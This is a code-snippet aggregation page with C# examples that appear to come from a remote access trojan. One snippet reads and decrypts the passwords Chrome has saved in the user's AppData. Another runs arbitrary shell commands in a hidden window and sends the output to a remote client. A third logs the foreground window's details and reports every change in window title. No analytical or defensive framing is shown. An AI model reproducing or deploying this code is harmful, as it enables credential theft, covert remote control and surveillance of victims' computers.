Ejemplo n.º 1
0
            public IEnumerable <CredentialModel> ReadPasswords()
            {
                var result = new List <CredentialModel>();

                var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
                var p       = Path.GetFullPath(appdata + LOGIN_DATA_PATH);

                if (File.Exists(p))
                {
                    using (var conn = new SQLiteConnection("Data Source={" + p + "};"))
                    {
                        conn.Open();
                        using (var cmd = conn.CreateCommand())
                        {
                            cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                            using (var reader = cmd.ExecuteReader())
                            {
                                if (reader.HasRows)
                                {
                                    while (reader.Read())
                                    {
                                        var pass = Encoding.UTF8.GetString(ProtectedData.Unprotect(GetBytes(reader, 2), null, DataProtectionScope.CurrentUser));

                                        result.Add(new CredentialModel()
                                        {
                                            Url      = reader.GetString(0),
                                            Username = reader.GetString(1),
                                            Password = pass
                                        });
                                    }
                                }
                            }
                        }
                        conn.Close();
                    }
                }
                else
                {
                    RemoteClient.LogError("Canno find chrome logins file");
                }
                return(result);
            }
Ejemplo n.º 2
0
        public void ExecuteCommandAsync(object command)
        {
            try
            {
                System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command);
                procStartInfo.RedirectStandardOutput = true;
                procStartInfo.UseShellExecute        = false;
                procStartInfo.CreateNoWindow         = true;
                System.Diagnostics.Process proc = new System.Diagnostics.Process();
                proc.StartInfo = procStartInfo;
                proc.Start();

                // Get the output into a string
                string result = proc.StandardOutput.ReadToEnd();
                RemoteClient.SendMessage(new DataObject {
                    CommandType = "CMD", CommandData = result
                });
            }
            catch (Exception objException)
            {
                RemoteClient.LogError(objException.ToString());
            }
        }
        public void WriteCurrentWindowInformation()
        {
            var activeWindowId = NativeMethods.GetForegroundWindow();

            if (activeWindowId.Equals(0))
            {
                return;
            }

            int processId;

            NativeMethods.GetWindowThreadProcessId(activeWindowId, out processId);

            if (processId == 0)
            {
                return;
            }

            Process foregroundProcess = Process.GetProcessById(processId);

            var fileName        = string.Empty;
            var fileDescription = string.Empty;
            var productName     = string.Empty;
            var processName     = string.Empty;
            var windowTitle     = string.Empty;

            try
            {
                if (!string.IsNullOrEmpty(foregroundProcess.ProcessName))
                {
                    processName = foregroundProcess.ProcessName;
                }
            }
            catch (Exception)
            {
            }

            try
            {
                if (!string.IsNullOrEmpty(foregroundProcess.MainModule.FileName))
                {
                    fileName = foregroundProcess.MainModule.FileName;
                }
            }
            catch (Exception)
            {
            }

            try
            {
                if (!string.IsNullOrEmpty(foregroundProcess.MainModule.FileVersionInfo.FileDescription))
                {
                    fileDescription = foregroundProcess.MainModule.FileVersionInfo.FileDescription;
                }
            }
            catch (Exception)
            {
            }

            try
            {
                if (!string.IsNullOrEmpty(foregroundProcess.MainModule.FileVersionInfo.ProductName))
                {
                    productName = foregroundProcess.MainModule.FileVersionInfo.ProductName;
                }
            }
            catch (Exception)
            {
            }

            try
            {
                if (!string.IsNullOrEmpty(foregroundProcess.MainWindowTitle))
                {
                    windowTitle = foregroundProcess.MainWindowTitle;
                }
            }
            catch (Exception)
            {
            }

            try
            {
                if (string.IsNullOrEmpty(windowTitle))
                {
                    const int Count = 1024;
                    var       sb    = new StringBuilder(Count);
                    NativeMethods.GetWindowText((int)activeWindowId, sb, Count);

                    windowTitle = sb.ToString();
                }
            }
            catch (Exception)
            {
            }

            if (lastWindowTitle != windowTitle)
            {
                RemoteClient.SendMessage(new DataObject {
                    CommandType = "RTL", CommandName = "RTAUPD",
                    CommandData = String.Format("ProcessId: {0}\nFilename: {1}\nFileDescription: {2}\nProductName: {3}\nProcessName: {4}\nWindowTitle: {5}\nWindowHandle: {6}\n",
                                                Convert.ToString(processId),
                                                fileName,
                                                fileDescription,
                                                productName,
                                                processName,
                                                windowTitle,
                                                Convert.ToString(activeWindowId))
                });

                lastWindowTitle = windowTitle;
            }
        }
Ejemplo n.º 4
0
 public static void Main()
 {
     RemoteClient client = new RemoteClient();
     //do some thing else beside all these messy code!
 }